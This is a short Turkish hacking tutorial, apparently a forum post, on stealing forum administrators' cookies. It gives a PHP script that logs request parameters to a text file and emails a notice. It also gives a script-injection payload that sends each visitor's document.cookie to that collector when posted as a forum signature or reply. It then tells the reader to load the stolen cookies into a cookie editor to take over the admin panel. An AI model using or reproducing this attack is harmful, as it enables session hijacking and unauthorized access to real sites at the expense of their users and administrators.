Admin cookielerini çal

Herhangi bir sistemin etkılenmesı ıcın kodları acık olmalıdır.

Notepad'i açıp Cookie leri almak için once gerekli kodları yazıyoruz. [php]

Kod:


Kod:
<?php
$kayit = fopen("procookies.txt","a");
foreach($_GET as $variable => $value) {
fwrite($kayit,$variable . ": " . $value . "\n");
}
fwrite($kayit,"---------------------------\n");
fclose($kayit);
mail("prowl@inbox.com","Cookies","http://www.ornek.com/procookies.txt",'From: ornek@xxx.com');
?>

dosyayı cookie.php olarak kaydediyoruz, ftp ye atıyoruz..

procookies.txt dosyası olusturup aynı dizine atıyoruz, [Chmod degerini 777 yapıyoruz]

Kod:



Kod:
<SCRIPT>********.href='http://www.ornek.com/cookie.php?c='+escape(document·cookie)</SCRIPT>


Forumda kullanmak istiyorsanız bu kodu kullanıcı panelinden imza olarak direk atıyorsunuz. Başka destekleyen sistemdede istediğiniz gibi kullanabilirsiniz. Örneğin bir forum sisteminde uyguladığımızda, bir konuya cevap yazıyorsunuz.. Konuya girenin cookie bilgileri direk "procookies.txt" dosyasına gidiyor. Cookie leri aldıktan sonra "Cookie Editor" gibi bir program kullanarak admin bilgilerini duzenleyin boylece direk panele ulasabılırsınız.

Daha sonra Yonetici Paneline ulasabilirsiniz.

saol